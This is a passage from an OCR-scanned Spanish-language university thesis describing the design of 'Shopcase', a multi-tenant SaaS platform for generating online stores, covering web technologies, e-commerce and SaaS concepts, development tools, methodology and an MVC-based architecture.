solamente actualiza la informacién requerida. Por lo tanto se logran aplicaciones mas pequeiias,
mas rapidas y mucho mas amigables. Factor clave en el desarrollo de una pégina con buena

usabilidad. Sera utilizado junto con JQuery para manejar informacion y los efectos de ésta.

2. XHTML. «XHTML es una versién de HTML mas limpia y mds estricta. Significa EXtensible
HyperText Markup Language y es en realidad HTML definido como una aplicacion XML»

(w3schools).

El motivo de utilizar XHTML en vez de HTML es para lograr cddigo mas profesional y
ordenado que con el HTML. Para tener una mejor compatibilidad con AJAX es de gran ayuda la
utilizacién de XHTML. Sera utilizado junto con CSS para lograr la estructura y la organizacion de

los componentes dentro de las pdaginas. Despliegue de componentes.

3. PHP. «PHP significa PHP: Hypertext Preprocessor y es un lenguaje de programacion web

de lado del servidor» (w3schools).

Es muy utilizado en la actualidad para crear paginas web dindmicas y complejas. Aunque
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PHP no involucre diseio directamente, es factor clave en la usabilidad ya que utilizando una
buena programacién PHP se puede lograr una pagina mucho mds usable, rapida y practica que
una con mala programacion. Sera utilizado para interactuar con la base de datos y realizar todos

los procesos légicos dentro del sistema.

4. JQuery. «JQuery es una libreria de Javascript que hace muy fécil la creacidn de excelentes
efectos visuales en paginas web utilizando pocas lineas de cédigo» (O. Blake). También

provee caracteristicas para usar en cualquier browser.

5. CSS. «CSS significa Cascade Style Sheets» (w3schools) y es un factor clave a utilizar para
el buen disefio de las paginas de Shopcase. Desarrollando un buen CSS (siguiendo los

estandares y una estructura ordenada) se pueden evitar muchos problemas en el futuro.

X. E-Commerce

1. Concepto. E-commerce hace referencia a “electronic commerce” o “comercio
electréonico”, normalmente se define como “cualquier forma de negocio en la que las

partes interactian electrénicamente sin contacto o intercambios fisicos”. A partir de los afios
90’s usualmente el e-commerce es asociado con transacciones de compra y venta de productos
por medio de internet; sin embargo esta definicion no es suficiente para los recientes
desarrollos y la complejidad del modelo de negocios en la actualidad. Una definicion mas
completa es: “E-commerce es el proceso de compartir informacidén de negocio, mantener
relaciones empresariales y efectuar transacciones econdmicas mediante el uso de redes de

telecomunicaciones” (Beekman, 2005).

El E-commerce tiene mayores alcances que el comercio tradicional, se caracteriza por un
incremento en la competitividad global y en las expectativas de los consumidores (Ana Cecilia

Proafio, 2006).

Adam Smith en 1776 describe en su libro “La riqueza de las Naciones” que si cada
comprador conociera los precios de cada vendedor y cada vendedor conociera lo que cada
comprador estd dispuesto a pagar, las personas del mercado podrian ser capaces de tomar
decisiones y distribuir los recursos de manera mas eficiente. Por medio del E-commerce se crea

un mercado global que se acerca a este ideal de Adam Smith.
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Actualmente el E-commerce esta revolucionando la forma de hacer negocios, se estdn
eliminando antiguas barreras de las empresas con sus proveedores y clientes. Muchos directivos
creen que la red es una parte muy importante para el éxito de sus negocios y estan redisefiando
sus procesos comerciales. EIl E-commerce es un medio que permite a las empresas ser mas

eficientes y flexibles mejorando las relaciones con sus clientes y proveedores (Beekman, 2005)

2. Historia. El significado del comercio electrénico ha cambiado durante las ultimas
décadas. A finales de los afios 70’s se comenzd a utilizar tecnologia para realizar
transacciones electrdnicas por medio de Intercambio electrénico de datos (EDI) y Transferencia
electrénica de fondos (ETF) permitiendo que los negocios enviaran documentos comerciales
tales como drdenes de compra y facturas de manera electrdnica. El alto costo de esta tecnologia
dejo fuera a las pequefias y medianas empresas las cuales utilizaban fax y teléfono para sus
comunicaciones. En la década de los 80’s con ayuda de la television surgid la venta directa, en
donde los productos eran mostrados explicando sus caracteristicas y la venta es concretada por
medio de una llamada telefénica y con pagos de tarjeta de crédito, en esta década las
computadoras personales no eran tan populares y las transferencias eran lentas y poco seguras.
En la década de los 90’s las grandes empresas de Estados Unidos, realizaron inversiones
millonarias para desarrollar sus propios sitios web con la posibilidad de interactuar con el
publico por medio de tiendas en linea. Desde entonces las compras y ventas en linea se han
desarrollado y han crecido paralelamente con los sistemas de seguridad debido a su relacién de
pagos seguros. A pesar de la desaceleracidn econdmica del afio 2000 el comercio electrdnico
continua desarrollandose a un fuerte ritmo y cada vez se hace mas accesible para las pequefas y

medianas empresas (Zuiiga, 2010).

3. Ventajas del E-commerce para las empresas. Reduce costo de distribucién: Cuando se
trata de productos digitales como por ejemplo software o libros digitales el costo de
distribucién tiende a cero, ademas que se entregan de inmediato y no hay necesidad de
intermediarios (Zuniga, 2010). Reduce costo de operaciones: Se crea un nuevo canal de
comercio que facilita la cobertura de nuevos segmentos, especialmente cuando existe limitante
geografica. EIl manejo de informacién por medio de la web es mds eficiente ya que se

disminuyen los tiempos y los errores al contar con informacidon mas precisa (Zuiiiga, 2010).

Mejora la comunicacién de las relaciones comerciales: Los clientes por medio de la web
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pueden buscar de manera mas facil y rapida informacién sobre la compania, e interactuar con
sus productos y servicios. Ademds aumenta la fidelidad de los clientes al recibir un soporte 24
horas al dia, esto trae beneficios como la re-compra y el aumento de la cobertura de mercado

(Zuniga, 2010).

4. Ventajas del E-commerce para los usuarios. Al usuario le brinda comodidad al evitar
moverse, puede estar en su casa o en el trabajo y se despreocupa de los horarios.

Recibe un servicio pre y post venta en linea. Tiene acceso a mas diversidad e informacién, se le
facilita y acelera el proceso de comparacion y seleccién ya que puede leer recomendaciones
sobre otros usuarios que han comprado el producto o investigar rapidamente sobre productos
equivalentes o similares. También evita la accidon directa del comerciante en la toma de
decisiones. Al haber una reduccion de la cadena de distribucién le permite al usuario adquirir un

mejor precio (MONGINI, S.L., 2008).

5. Tipos de E-Commerce. Para que exista el comercio electronico al menos dos partes
deben intercambiar informacién, productos o servicios, estas partes pueden ser
personas, empresas U organizaciones. Existen varios tipos o modelos de e-commerce

dependiendo quién esta implicado en la transaccién (Beekman, 2005).

B2B (Business-to-Business) “Empresa-a-Empresa”: Este modelo consiste en transacciones
entre organizaciones o empresas. Por ejemplo Walmart le compra los productos que vende a

Procter & Gamble por medio de internet (Beekman, 2005).

B2E (Business-to-Employe) “Empresa-a-Empleado”: Este modelo es la relacién comercial
gue establece una empresa con sus empleados por ejemplo una agencia de viajes puede ofrecer

paguetes de oferta a sus empleados (Beekman, 2005).

B2C (Business-to-consumer) “Empresa-a-consumidor”: Este modelo consiste en
transacciones al por menor entre una empresa y un cliente individual. Desde el punto de vista
del consumidor el B2C es el aspecto mas visible del comercio electrénico. Por ejemplo

Amazon.com o el sitio web de American Airlines (Beekman, 2005).

C2C (Consumer-to-consumer) “Consumidor-a-Consumidor”: Este modelo consiste en
transacciones de compra y venta entre individuos a través de internet. El mejor ejemplo de este

modelo es Ebay y en Guatemala Gubiz.com (Beekman, 2005).
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Estos modelos de comercio electrénico también pueden ser aplicados a instituciones sin
animo de lucro como organizaciones religiosas o académicas, el gobierno y otras organizaciones

sociales (Beekman, 2005).

Y. SaaS (Software as a Service)

1. Concepto. El acrénimo “SaaS” (Software as a Service) se utilizd por primera vez en un
articulo publicado por la (SIIA) Software & Information Industry’s en el afio 2001. El SaaS

es en esencia una extension de la idea del modelo (ASP) Application Server Provider, en lugar de
gue las compafiias instalen software en sus propios servidores, abren cuentas en servidores
operados por el proveedor de software como servicio y en lugar de licenciarlo y pagar altas
sumas de dinero, las compafiias pagan un cuota mensual de suscripcidn o alternativamente por
el tiempo que los empleados utilizan el software. Los suscriptores utilizan el software de la
misma manera que los sistemas instalados en el servidor de la empresa y se accede por medio
de la interfaz que se carga por medio de un navegador. (Infoworld, 2008) * Casi cualquier
software puede ser ofrecido como servicio, la aplicacion mds popular que se ofrece es CRM
(Client Resource Manager) pero también se pueden encontrar versiones de SaaS sobre recursos

humanos, finanzas, ventas y mas (S.Manghi,2009).

Saas se diferencia de ASP en que durante los afios 90 el ASP tenia servidores dedicados y se
programaban recursos para compaiiias individuales, elevando los costos y prestando un servicio
insostenible. Hoy los SaaS utilizan una arquitectura multiatendida, esto es similar a un edificio
gue renta apartamentos a varios ocupantes, el proveedor renta una Unica y grande instancia del
software la cual es rentada por todos los usuarios. El proveedor de SaaS aloja la aplicacién en
sus propios servidores y se encarga de la informacién, insumos, procesamiento, mantenimiento
y soporte al cliente. El cliente puede acceder al software desde la web en cualquier momento y

en cualquier lugar. Por medio del SaaS se terceriza completamente las funciones de TI.

2. Ventajas del SaaS. Este modelo permite al cliente ahorrar dinero al disminuir sus costos y
reducir el riesgo al no tener un area especializada para soportar la compra de servidores,
hardware o cualquier otro software. El cliente ademas de estar recibiendo la plataforma
también recibe el servicio que garantiza su correcta funcionalidad y la seguridad que requiere.

También el cliente enfoca los presupuestos en su ventaja competitiva en lugar de invertir en
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infraestructura. El pago mensual en lugar del costo de capital (el modelo tradicional requiere
una alta inversion inicial) permite mantener un flujo de caja mas sano cuando se trata de
pequenas o medianas empresas. Facilita predecir la escala de la demanda ya que el sistema es
flexible y adaptable. Ademas otra gran ventaja es que se permite total flexibilidad de sistema
operativo ya que el servicio se ofrece “en la nube” o sea por medio de internet (Infoworld,

2008).

Z. Portal de ventas en linea

1. Caracteristicas. El portal de ventas en linea se basa especificamente en el modelo de
comercio electrénico B2C. Este facilita las transacciones comerciales con los
consumidores por medio de una plataforma a través de internet. Basicamente es un sitio web
publico en el que se puede buscar informaciéon de un producto o servicio, solicitarlo y pagarlo.
Incluye un catdlogo de productos y la facilidad de ordenar directamente utilizando un carrito de
compras. Por ejemplo el fabricante de computadoras Dell tiene portales exclusivos para clientes
en mas de 80 paises y le generan la mitad de los ingresos a la compaiia

(http://www.dell.com.gt) (Beekman, 2005).

Hoy en dia el consumidor puede encontrar en internet infinidad de productos que

satisfagan sus necesidades (Infopymes, 2010)°.

2. Disefio del portal. Una empresa debe tener un portal con un buen disefio si quiere
cumplir con las expectativas de sus clientes. Un buen disefio puede hacer la diferencia
entre regresar a comprar o no volver. Las principales caracteristicas con las que debe contar el

portal son las siguientes:

- Velocidad en las transacciones: Los clientes pueden desesperarse con un sitio lento y
buscar uno mas rapido. Al igual que ocurre en la mayoria de los negocios la velocidad

del servicio es un factor critico para la experiencia del cliente.

- Amplia y actualizada gama de productos: Los catdlogos electrénicos pueden contener
miles de productos a un costo mucho mas bajo que el de un catalogo impreso. Muchas
empresas desarrollan productos y ofertas que sélo estan disponibles en el portal en

linea.

- Facilidad de uso: El portal debe estar bien organizado y ofrecer una navegacién
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amigable asi como un buscador para encontrar productos. El cliente debe ser capaz de
realizar transacciones sin ningun tipo de dificultad o confusién. Para esto antes de lanzar

el portal deben realizarse pruebas de usabilidad.

- Transacciones seguras: Este es uno de los mas grandes obstaculos que impiden que los
consumidores compren a través de internet. El portal de ventas en linea debe garantizar
técnicamente que sus transacciones son seguras y privadas, ademas los mensajes deben

cumplir con los estandares de encriptacidn.

- Informacién post-venta: Luego que el cliente efectia la compra, el portal debe
informarle sobre la misma confirmandole el pedido y brindarle soporte para cualquier

insatisfaccion del cliente.

Ademas del disefio y la estructura, el contenido puede marcar la diferencia del éxito del
portal, se deben aprovechar los contenidos multimedia siempre buscando que el cliente pueda
encontrar la informacidn rdpidamente al estar organizada de manera jerdrquica y secuencial.

(Beekman, 2005).

3. Implicaciones éticas y legales. Es conveniente que la empresa desarrolle y publique en el

portal su cddigo de conducta, por medio del cual los usuarios estaran informados sobre
las politicas de la empresa en relacion al comercio electrénico, esto debe incluir:

- Declaracién de la politica de privacidad.

- Declaraciéon que se dispone del permiso de la persona para utilizar su informacion.

- Declaraciéon de la forma en que la empresa utilizara la informacidn de caracter personal

obtenida del usuario.
- Declaraciéon que se ocupe de los problemas de propiedad.

- Declaracién de cdmo la empresa sigue el comportamiento del usuario en el portal.

Los consumidores no estan de acuerdo que se abuse de su informacidn personal, por lo que
la empresa debe tener mucho cuidado de cédmo guarda esa informacién y para que la utiliza

(Beekman, 2005).

Se desarrollé un contrato de suscripcion en donde el cliente acepta un acuerdo sobre las

condiciones del servicio (Ver anexo 1, Contrato General de Suscripcidn).



V. HERRAMIENTAS

A. Mddulo del Generador de Portales de venta en Linea y Mddulo de Portal de

Venta en Linea

Las herramientas que se utilizaron para el desarrollo de ambos mddulos fueron las

Windows 7 Professional como sistema operativo de desarrollo.
Wamp v 2.0 que incluye las siguientes herramientas:
o PHP5.3.0
o MysQL 5.1.36
o Apache2.2.11
Netbeans IDE 6.9.1 para edicién de paginas HTML, PHP, Javascript y CSS.
UMLet 1.0 para diagramas UML.
Adobe Photoshop CS5 para creacién de artes, diagramas y componentes visuales.
Microsoft Word 2010.
OpenProj 1.4.0. para manejo de la calendarizacion de las tareaslLa siguientes
librerias de javascript:
o JQuery 1.4.1 para efectos visuales y manipulacién de DOM.
o Plugin Validate de JQuery para validacién de campos en vistas.
o Plugin Uploadify de JQuery para carga de imagenes asincrénica.

o Plugin Popeye de Jquery para galerias de imagenes.

Se seleccionaron PHP y MySQL como principales bases para el desarrollo por la familiaridad

de los integrantes con las tecnologias, amplia documentacién en Internet, por ser de los

estandares mas utilizados en el ambito de desarrollo web y por la experiencia de la asesora en

dichas herramientas, en caso de que los integrantes tuvieran alguna dificultad de desarrollo.
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B. Mddulo de Administracion de Empresas

Las herramientas utilizadas para el desarrollo del médulo de administracion de empresas

fueron:

- Window Vista Home Premium de 64 bits como sistema operativo de desarrollo.
- Wamp Server para pruebas en servidor local. Este servidor cuenta con las siguientes
herramientas:
o PHP5.3.0
o Mysal 5.1.36
o Apache 2.2.11
- Aptana Studio 2.0 para la edicién de los archivos PHP, JavaScript CSS y los archivos
htaccess para modificar la configuracién del servidor Apache.
- Umlet para realizar diagramas de UML.
- Llasiguientes librerias de JavaScript:
o JQuery 1.4.1 para efectos visuales y manipulacién de DOM.
o Plugin Validate de JQuery para validacién de campos en vistas.
o Plugin Popeye de Jquery para galerias de imagenes.
o Plugin scrollable de Jquery para otra galeria de imagenes.
- YUl Compressor para aplicarle minify a los archivos de CSS y JavaScript.

- YSlow para medir el rendimiento de las paginas web y la generaciéon de reportes.

Se eligié para el desarrollo de este médulo una combinacién de MySQL como DBMS y PHP
para el desarrollo de las pdaginas Web debido a la familiaridad de todos los integrantes

involucrados en el desarrollo del prototipo.

C. Médulo de Base de Datos y Médulo de Administracion Interna

Las herramientas utilizadas para el desarrollo del mdédulo de base de datos y para el

madulo de administracion interna son las siguientes:

e Mac OS X Snow Leopard como sistema operativo de desarrollo.

e MAMP 1.9 como paquete de herramientas para desarrollo web. El paquete incluye
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las siguientes herramientas:

o PHP5.3.0

o Apache2.2.1

o MySQL5.1.36
Coda 1.6.12 como IDE de desarrollo web, edicién HTML, PHP, CSS y JavaScript.
TextMate 1.5.8 como editor de texto para desarrollo web HTML, PHP, CSS y
JavaScript.
SQLEditor 1.6.5 como IDE para el disefio y diagrama de la base de datos.
Querious 1.0.2 para DBMS para manipular consultas y contenidos de la base de
datos de forma visual.
OmniGraffle 5.2.2 para realizar diagramas UML.
The Hit List 0.9.3.22 beta para manejar tareas y calendarizacion de desarrollo.
Libreria de JavaScript JQuery 1.4.1 para manejo de efectos visuales e inclusion de
componentes graficos.

o Plugin Validate de JQuery para validacién de campos en las interfaces.

Microsoft Word: mac 2011 como editor de texto avanzado.

Se selecciond PHP y MySQL como base para el desarrollo del médulo de base de datos y del

modulo de administracidn interna debido a su amplia documentacion online, la facilidad de

encontrar servidores gratuitos con soporte para estos y por sus altos estdndares para el

desarrollo web.

D. Mddulo de Disefio de Plantillas y Mddulo de Administracion para el

Consumidor

Las herramientas que se utilizaron para el desarrollo de ambos maddulos fueron las

siguientes:

Sistema Operativo: Mac OS X (Leopard/Snow Leopard)

Servidor Local: MAMP Versidn 1.7.2 que incluye las siguientes herramientas:

o Apache 2.0.63

o MySQL5.1.44

o PHP5.2.13&5.3.2
o APC3.13



o eAccelerator 0.9.6

o XCache1.2.2&1.3.0

o phpMyAdmin 3.2.5

o Zend Optimizer 3.3.9

o SQLiteManager 1.2.4

o Freetype 2.3.9

o tllib5.1.2

o curl7.20.0

o jpeg8

o libpng-1.2.42

o gd2.0.34

o libxml 2.7.6

o libxslt1.1.26

o gettext0.17

o libidn1.15

o iconv1.13

o mcrypt2.6.8
- Editores de paginas web:

o Adobe Dreamweaver CS4 y CS5

o Coda Versién 1.6.12
- Ediciéon de diagramas UML: ArgoUML
- Edicién de componentes visuales: Adobe Photoshop CS4 y CS5
- Microsoft Word 2008 y 2011.

Se seleccionaron PHP y MySQL como principales herramientas para el Megaproyecto.

E. Médulo de Planificacidon y Plan de Comercializacion

- PENCILS
- AIDA



VI. METODOLOGIA

Una de las tareas asignadas para desarrollar en el Megaproyecto fue la de funcionar como
administrador del desarrollo, esto implicaba desempefiar una variedad de funciones adicionales

a los mdédulos trabajados:

- Mantener control de calendario de trabajo.

- Asignar tareas macro a intregantes del equipo, definiendo entregables, delimitando el
alcance de las tareas y estimando los tiempos requeridos por tarea o médulo.

- Verificar el progreso semanal o mensual de las tareas asignadas a los miembros del
equipo, dando recomendaciones de mejora y prestando asesoria técnica cuando fuese

posible.

Los mddulos fueron asignados a manera de que dependieran Unicamente de la informacion
en la base de datos, ninguno de los integrantes del equipo debia esperar a que algun otro
miembro finalizara el trabajo de algin mddulo relacionado para comenzar a trabajar y no se

comparten clases o controladores entre los mddulos.

Debido a la magnitud del se utilizé6 una metodologia tradicional de desarrollo de software:
metodologia en cascada. Durante el primer semestre se investigaron temas de desarrollo web,
mejores practicas, y otros temas que serian de utilidad para el desarrollo asi como el desarrollo
conceptual de una arquitectura capaz de llenar la demanda del modelo SaaS. Al inicio del
segundo ciclo se comienza la fase de analisis, definiendo los mddulos que se necesitan, y a su
vez los sub-mddulos de cada uno de estos. Después de la fase de analisis la siguiente etapa es el
disefio, definir las clases requeridas para cada médulo y sub-mddulo y las tablas de base de
datos necesarias para representar la informacién de cada mddulo. La siguiente etapa es la de
desarrollo, en la que se utilizan las herramientas seleccionada para construir la arquitectura y los
modulos. Para la Ultima etapa se realizaron pruebas con usuarios que no estuviesen
familiarizados con el sistema, para encontrar posibles fallos del sistema o problemas de

usabilidad.
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Durante la etapa de desarrollo se trabajé en ciclos cortos de trabajo. Dado el médulo
asignado de cada miembro se definian tareas de alto nivel y requerimientos funcionales para la
tarea y se asignaba un tiempo estimado para completar una lista de funciones, en base a las
aptitudes individuales de cada miembro del equipo, carga académica, y nivel de complejidad de
las tareas. Al terminar el tiempo asignado para la tarea, el equipo se reunia para examinar los
resultados y cada miembro del equipo estaba en la libertad de expresar su opinién y dar
cualquier retroalimentacién acerca del trabajo realizado. Se organizaban reuniones con la
asesora al completar los sub-mddulos para obtener retroalimentacion técnica y practica sobre el
trabajo realizado. Esta metodologia de desarrollo pertenece al grupo de metodologias agiles, en
el que se tienen ciclos cortos de trabajo y entregas orientadas a funcionalidad. La

calendarizacién de las actividades se puede encontrar en los anexos de este trabajo.



VIl. ARQUITECTURA DEL MEGAPROYECTO

El principal reto del Megaproyecto fue que el concepto principal sobre el cual se basa es un
paradigma relativamente nuevo en el mundo de la informatica; existe bibliografia sobre qué es,
ventajas y desventajas del modelo, las distintas modalidades y presentaciones de SaaS, pero no
existe bibliografia dedicada a cdmo construir un proyecto de SaaS que llenara los
requerimientos del Megaproyecto, un sistema de venta en linea configurable para multiples

usuarios y sin replicacién de codigo.

La arquitectura propuesta es una modificacion de la arquitectura Modelo-Vista-
Controlador que permite definir un conjunto de clases primarias y re-utilizarlas sin replicar el
codigo de las mismas para crear una nueva instancia del sistema que puede ser configurada para

cada usuario.

A. Mddulo del Generador de Portales de venta en Linea y Mddulo de Portal de
Venta en Linea

La arquitectura para los mddulos de portal de venta en linea y médulo de administracion

para consumidores se basa en cinco elementos clave:

- Archivo de vista: Estos archivos definen la estructura general en HTML de una
pagina: encabezado, cuerpo y pie de pagina. El cuerpo contiene la informacién y
botones necesarios dependiendo de cual sea el propdsito de la vista. Estos archivos
se distinguen porque utilizan la convencion de nombre: “archivo.html.php”, esto los
distingue de otros archivos .php que contienen légica e inteligencia para realizar
operaciones con la base de datos y cualquier otro procesamiento que se necesite.
En estos archivos se almacenan también segmentos de cddigo Javascript Unicos para
la vista en particular. Tienen muy poco cédigo de PHP, en su lugar hacen uso de
varios componentes (detallados mas adelante) que son los que poseen la mayoria

del cadigo.
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Controlador (inteligencia de negocios): En estos archivos estdn definidas los
métodos que manejaran las funciones del sitio, como mostrar productos o agregar.
La convencidon de nombre es “nombre_de_ clase.php”. Estos archivos incluyen
también la funcionalidad de modelo de la metodologia MVC, es decir, la interaccion
con la base de datos estd incluida en estos archivos. Estos archivos por lo general
corresponden con tablas definidas en la base de datos.

Componente: Segmentos cortos y reutilizables de cédigo que hacen Ilamadas a los
métodos creados dentro de los controladores para realizar algin tipo de
procesamiento o despliegue de datos. La convencion de nombre es: “nombre_
componente.php”.

Dummy: Estos archivos son los que permiten la existencia de multiples portales
almacenados en el mismo servidor y minimizan la reutilizacién del cédigo. Existe un
archivo dummy por cada archivo de vista y su nombre sera igual al de la respectiva
vista, excluyendo la convencidon de agregar “.html”. Los archivos dummy leen un
archivo de configuracion que posee el identificador Unico del cliente al cual
pertenece el portal, el nombre del subdominio, e informacién basica acerca de la
apariencia del sitio, como el estilo visual que utiliza y el logotipo de la empresa. El
archivo dummy hace una llamada al controlador que posea la légica referente a la
vista correspondiente y este creara una copia légica de la vista, configurandola
segun la informacién del archivo XML y la muestra al usuario.

Archivo de configuraciéon: Un archivo XML que posee informacion basica para
identificar al cliente posee la siguiente informacién: (1) Identificador del cliente en la
base de datos. (2) Nombre del dominio. (3) Nombre de la imagen de logotipo de la

empresa. La estructura del archivo XML es la siguiente:

<content>
<name>nombre_de_subdominio_ejemplo</name>
<title>Nombre de Empresa</title>
<domain>1</domain>
<logo>logotipo_empresa.png</logo>

</content>
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Tabla 6. Elementos de la arquitectura del Megaproyecto para médulo de tienda en linea.

Nombre del elemento

Funcion

Convencion de Nombre y Lenguaje Utilizado

Vista

Definen la estructura basica visual de cada
pagina, es llamada por un archivo dummy y
recibe un identificador uUnico del cliente
para configurar apariencia. Forman la
interfaz grafica de la aplicaciéon y la primera
capa de seguridad (ver capitulo VIII, seccion

5)..

La convencién es “ARCHIVO.HTML.PHP”.
Utilizan HTML y CSS para definir estilo y
estructura visual, PHP para invocar a
componentes y controladores, y definen
segmentos cortos de cddigo de Javascript
para agregar efectos visuales y validar

entradas del usuario.

Controlador

Definen las acciones que puede tomar el
usuario y se encargan de la interaccion con
la base de datos. Se corresponden con una
tabla en la base de datos y forman la
segunda capa de seguridad (ver capitulo VIII,

seccion 5).

La convencion es “ARCHIVO.PHP”. Manejan la
inteligencia de la aplicacion con métodos en

PHP y llamadas a la base de datos con SQL.

Componente

Segmentos cortos de codigo en PHP que
definen partes de la interfaz gréfica que se
comparten entre multiples vistas, como

mendus, encabezados, etc.

La convencion es “ARCHIVO COMPONENT.
PHP”. Utilizan HTML para definir formay PHP

para invocar a métodos de los controladores.

Dummy

Componente clave que evita la replicacion
de cddigo, leen el archivo de configuracion,
obtienen la informacién relevante del
cliente y crean una copia logica de los

archivos de vista.

La convencién es “NOMBRE_DE_VISTA.PHP”,
debe existir un archivo dummy por cada
archivo de vista que exista, omitiendo el

sufijo “.HTML".

Archivo de

configuracion

Archivos de configuracion para cada tienda

creada dentro del sistema.

La convencién es “CONFIG.XML”. Utilizando
lenguaje de marcado para definir el nombre
del cliente y su identificador Unico dentro del

sistema.

La Tabla 6 resume los elementos que conforman la arquitectura:

La llustracion 21 muestra la interacciéon entre los elementos de la arquitectura del

sistema para los mddulos de portal de venta en linea y administrador para consumidores y la

[lustracién 22 muestra la secuencia ldgica de la arquitectura:
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Utilizando la llustracidn 22 como referencia, la secuencia de pasos necesaria para mostrar

una vista del médulo de portal de ventas en linea es la siguiente:

- El usuario solicita una pagina o vista especifica del servidor y un archivo dummy es quien
recibe la respuesta, el archivo leera el archivo de configuraciéon para saber a cual
empresa es a la que se esta haciendo la solicitud y en base al nombre del dummy, sabe
cual vista se debe desplegar.

- El dummy envia la informaciéon de configuracién al controlador y solicita una vista
especifica.

- El controlador selecciona la vista solicitada y le envia informacién de configuracién de
apariencia.

- La vista es llamada y se construye en base a componentes y solicita contenido como
imagenes, menus, etc.

- Los componentes solicitan informacion del controlador, que es quien maneja la légica
de la aplicacién, como Ilamadas a la base de datos.

- El controlador obtiene la informacién que le es solicitada de la base de datos, construye
el texto de despliegue y lo envia de regreso al componente.

- El componente envia la informacién que solicitd de regreso a la vista.

- La vista ya ha obtenido toda la informacién que solicité y la pagina ya es enviada al
usuario.

[lustraciéon 21. Diagrama de secuencias del funcionamiento de la arquitectura
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llustracidn 22. Estructura de clases para mddulo de portales en linea y administrador para

consumidores.
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Configuracién

La arquitectura creada requiere de una distribucidn de carpetas especifica, descrita a

continuacion:

Generador: Incluye todos los archivos necesarios del generador, carpeta de
imagenes, carpeta de rutinas de Javascript (JS), carpeta de hojas de estilo (CSS), la
clase del generador que es exclusivamente cddigo de PHP y llamadas a la base de
datos mediante SQL y un archivo de vista, utiliza PHP para llamar al generador,
HTML para definir la forma de la interfaz grafica y javascript para validacién de
campos y efectos visuales.

Core: Repositorio de todas las vistas, controladores y componentes para los
modulos de portal de venta en linea y administrador de consumidores. También
existen carpetas para hojas de estilo, rutinas de javascript e imagenes.

Dummy: Contiene todos los archivos dummy requeridos por la arquitectura, es
decir, un archivo dummy por cada vista que exista en core.

Carpetas de Empresa: En esta carpeta se encontrard una copia de los archivos
dummy, los cuales leeran el archivo de configuracion en XML y pasaran la

informacidn al controlador para que muestre la vista apropiada.
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llustracién 23. Estructura de carpetas de médulos de administracidn de consumidores y portal

de venta en linea.

& Raiz
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& Dummy
& Carpeta de Empresa # 1

& Imégenes (PNG/PG/GIF)

& ANUNcios (PNG/IPG/GIF)
Archivos Dummy (php)
Archivo de Configuracidn (xm)

&l Carpeta de Empresa # 2

B. Mddulo de Administracion de Empresas

En la llustracion 23 se muestra la arquitectura utilizada para el médulo de administracidn
de empresas. Varios administradores de diferentes empresas utilizan el mismo sistema para

llevar el control de su sitio de venta en linea, no existen sistemas diferentes para cada empresa.
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[lustracion 24. Arquitectura del médulo de administracién de empresas.

Mddulo de administracidn de empresas
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Administrador de tienda 1

El mddulo de administracion de empresas se conecta a la base de datos y les permite a los

administradores del sitio modificar y observar la informacién de su portal de venta en linea.

Para que un administrador tenga acceso a las distintas herramientas del sistema, primero

debe ingresar su correo y su contrasefia. Una vez inicia sesién el administrador es
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capaz de manejar cada uno de los sub-médulos presentados en esta seccidn, seguin los permisos

que tenga asignados.

Si tiene permiso de nivel uno solamente puede utilizar el sub-mddulo para el manejo del
catdlogo, si tiene permisos de nivel dos entonces es capaz de acceder al sub-mddulo de
administracion de érdenes y al sub-mddulo de administracion de consumidores. Por udltimo si
tiene permisos de nivel tres entonces puede acceder a cada uno de los sub-mddulos del sistema
de los niveles inferiores y ademds puede manejar los permisos y cuentas de los demas
administradores del sitio, también maneja el sub-mdédulo de datos de la empresa, maneja la
publicidad del sitio, habilita o deshabilita los tipos de pago y por ultimo puede agregar tipos de

envio a su sitio.

El sub-mddulo de manejo de datos de la empresa se refiere a la vista del sistema que
permite al administrador del sitio modificar la misidn, visién, logotipo, descripcidon de la empresa

y afiadir palabras clave por las que sera encontrado el sitio por buscadores como google, yahoo

y bing.

C. Mddulo de Base de Datos y Médulo de Administracién Interna

La base de datos fue desarrollada basada en un modelo de arquitectura multi-inquilino, ya
gue es la arquitectura mds conveniente para modelo SaaS en el que se ha desarrollado el
Megaproyecto. Esta serd accedida por los distintos mddulos por medio de clases PHP dedicadas

al manejo de conexidn e interacciéon con MySQL.

D. Mddulo de Disefio de Plantillas y Mddulo de Administracion para el
Consumidor

La arquitectura del Megaproyecto para el mdédulo de administracion para consumidores

funciona de la siguiente forma:

- El mddulo se basa en los siguientes cinco archivos:
o consumer_admin.php
o new_credicard.php

o new_address.php
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o order_details.php
o edit_info.php
Estos archivos se almacenan en la carpeta dummy (explicada en la documentacion de Luis
Guzman) y contienen referencias a las vistas de cada archivo. Las vistas tienen los mismos
nombres pero su extensidn es ".html.php’. El generador replica cada una de los archivos que
estan en dummy para cada cliente registrado almacenandolos en sus respectivas carpetas (con

el nombre de la empresa).

Por lo tanto, cuando el consumidor ingresa a su cuenta, dentro del portal del cliente al que

desea comprar, podra ingresar a su administrador para manejar su informacion.

El consumidor es explicado a mayor detalle en la seccién (ver seccidn) pero basicamente es

un cliente indirecto del sistema Shopcase (cliente de cliente).

Teniendo acceso al portal de venta, el consumidor interactuara con una vista manejada por
el administrador del cliente. Al ingresar al administrador del consumidor, el consumidor
interactua con las vistas anteriormente mencionadas y éstas a su vez interactian con la base de
datos. En otras palabras, el cliente tiene acceso a un administrador para clientes que permite
manejar datos para el despliegue del portal de venta (ver Mddulo de Administracién de
Empresas). Los consumidores, a través del portal de venta, ingresan al administrador para
consumidor para manejar sus datos. Ambos administradores tienen constante interaccién con la

base de datos (ver llustracion 25).

[lustracion 25. Arquitectura de los Administradores de los Consumidores
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VIIl. MODULO DE GENERADOR

A. Descripcion

El mddulo de generador es uno de los componentes clave del Megaproyecto, este mddulo
es el que permite a una empresa cliente interesada crear una tienda de venta en linea;
siguiendo una serie de pasos sencillos y con informacidn bdsica de su empresa el cliente podra

comenzar a vender sus productos en una cantidad corta de tiempo.

El generador se alimenta por un repositorio de conjunto de archivos dummy e informacidn
basica de la empresa cliente, para que una empresa cliente pueda tener acceso al generador
esta debera contar con una clave de autenticacidén que le es proveida al firmar el contrato de la

suscripcion.

B. Analisis

1. Requerimientos. Se identificaron los siguientes requerimientos:
- El mdédulo debe presentar al cliente una interfaz agradable y sencilla de utilizar.
- Debe capturar la siguiente informacién de la empresa cliente en 5 pasos:
o Pasol:
= Clave de acceso al generador
o Paso2:
= Nombre de la empresa
= Nombre de dominio para la empresa dentro del sistema (Ej:

http://www.shopcase.com/empresa/).

= Nombre de persona de contacto
= Correo electrénico de persona de contacto

= Teléfono de persona de contacto

= Descripcién de empresa
=  Misidon de empresa
